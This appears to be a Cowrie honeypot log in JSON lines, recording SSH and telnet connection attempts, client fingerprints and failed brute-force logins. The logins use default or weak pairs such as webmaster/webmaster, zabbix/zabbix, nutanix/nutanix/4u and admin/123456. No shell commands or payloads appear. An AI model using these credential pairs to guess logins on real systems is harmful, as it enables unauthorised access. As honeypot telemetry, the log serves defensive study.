{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:26.266045Z","src_ip":"176.65.132.129","session":"8af599514c2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webmaster","password":"webmaster","message":"login attempt [webmaster/webmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:26.511759Z","src_ip":"176.65.132.129","session":"8af599514c2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:27.596290Z","src_ip":"176.65.132.129","session":"8af599514c2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":37644,"dst_ip":"10.17.0.5","dst_port":22,"session":"1252ae9f4d6b","protocol":"ssh","message":"New connection: 186.13.24.118:37644 (10.17.0.5:22) [session: 1252ae9f4d6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:29.136757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:29.141141Z","src_ip":"186.13.24.118","session":"1252ae9f4d6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:29.297410Z","src_ip":"186.13.24.118","session":"1252ae9f4d6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45962,"dst_ip":"159.203.135.109","dst_port":22,"session":"21d95a5600c9","protocol":"ssh","message":"New connection: 176.65.132.129:45962 (159.203.135.109:22) [session: 21d95a5600c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:29.338364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:29.434625Z","src_ip":"176.65.132.129","session":"21d95a5600c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:29.439488Z","src_ip":"176.65.132.129","session":"21d95a5600c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:29.778797Z","src_ip":"176.65.132.129","session":"21d95a5600c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Paul","message":"login attempt [root/Paul] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:29.959020Z","src_ip":"186.13.24.118","session":"1252ae9f4d6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:30.863921Z","src_ip":"176.65.132.129","session":"21d95a5600c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:31.119538Z","src_ip":"186.13.24.118","session":"1252ae9f4d6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44314,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d3e4d370d07","protocol":"telnet","message":"New connection: 152.42.224.71:44314 (10.17.0.5:23) [session: 6d3e4d370d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:31.645961Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45984,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdbd39f0800a","protocol":"ssh","message":"New connection: 176.65.132.129:45984 (159.203.135.109:22) [session: fdbd39f0800a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:32.613847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:32.617971Z","src_ip":"176.65.132.129","session":"fdbd39f0800a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:32.699585Z","src_ip":"176.65.132.129","session":"fdbd39f0800a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:32.947285Z","src_ip":"176.65.132.129","session":"fdbd39f0800a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44322,"dst_ip":"10.17.0.5","dst_port":23,"session":"a25ea83b02d0","protocol":"telnet","message":"New connection: 152.42.224.71:44322 (10.17.0.5:23) [session: a25ea83b02d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:33.134056Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:34.090584Z","src_ip":"176.65.132.129","session":"fdbd39f0800a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44324,"dst_ip":"10.17.0.5","dst_port":23,"session":"211fa0e82588","protocol":"telnet","message":"New connection: 152.42.224.71:44324 (10.17.0.5:23) [session: 211fa0e82588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:34.260521Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52050,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bdcc43aff12","protocol":"ssh","message":"New connection: 176.65.132.129:52050 (159.203.135.109:22) [session: 7bdcc43aff12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:35.727877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:35.733109Z","src_ip":"176.65.132.129","session":"7bdcc43aff12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:35.817078Z","src_ip":"176.65.132.129","session":"7bdcc43aff12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:36.067231Z","src_ip":"176.65.132.129","session":"7bdcc43aff12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:37.154381Z","src_ip":"176.65.132.129","session":"7bdcc43aff12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33190,"dst_ip":"10.17.0.5","dst_port":23,"session":"230386f40cc4","protocol":"telnet","message":"New connection: 152.42.224.71:33190 (10.17.0.5:23) [session: 230386f40cc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:37.899616Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52070,"dst_ip":"159.203.135.109","dst_port":22,"session":"99519e53e751","protocol":"ssh","message":"New connection: 176.65.132.129:52070 (159.203.135.109:22) [session: 99519e53e751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:38.895579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:38.953294Z","src_ip":"176.65.132.129","session":"99519e53e751","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:39.095918Z","src_ip":"176.65.132.129","session":"99519e53e751","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:39.342386Z","src_ip":"176.65.132.129","session":"99519e53e751","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.57300305366516,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:40.107730Z","src_ip":"152.42.224.71","session":"c2a535baa577","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:40.426895Z","src_ip":"176.65.132.129","session":"99519e53e751","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.92891550064087,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:40.627747Z","src_ip":"152.42.224.71","session":"bac8502b05c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33194,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4c5a5bb633a","protocol":"telnet","message":"New connection: 152.42.224.71:33194 (10.17.0.5:23) [session: c4c5a5bb633a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:40.834940Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33210,"dst_ip":"10.17.0.5","dst_port":23,"session":"c48be130900c","protocol":"telnet","message":"New connection: 152.42.224.71:33210 (10.17.0.5:23) [session: c48be130900c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:41.829176Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52092,"dst_ip":"159.203.135.109","dst_port":22,"session":"e89a85345da9","protocol":"ssh","message":"New connection: 176.65.132.129:52092 (159.203.135.109:22) [session: e89a85345da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:42.185838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:42.190800Z","src_ip":"176.65.132.129","session":"e89a85345da9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:42.273202Z","src_ip":"176.65.132.129","session":"e89a85345da9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:42.518809Z","src_ip":"176.65.132.129","session":"e89a85345da9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:43.603323Z","src_ip":"176.65.132.129","session":"e89a85345da9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52114,"dst_ip":"159.203.135.109","dst_port":22,"session":"520d6c681b95","protocol":"ssh","message":"New connection: 176.65.132.129:52114 (159.203.135.109:22) [session: 520d6c681b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:45.331037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:45.335613Z","src_ip":"176.65.132.129","session":"520d6c681b95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:45.422061Z","src_ip":"176.65.132.129","session":"520d6c681b95","protocol":"ssh"}
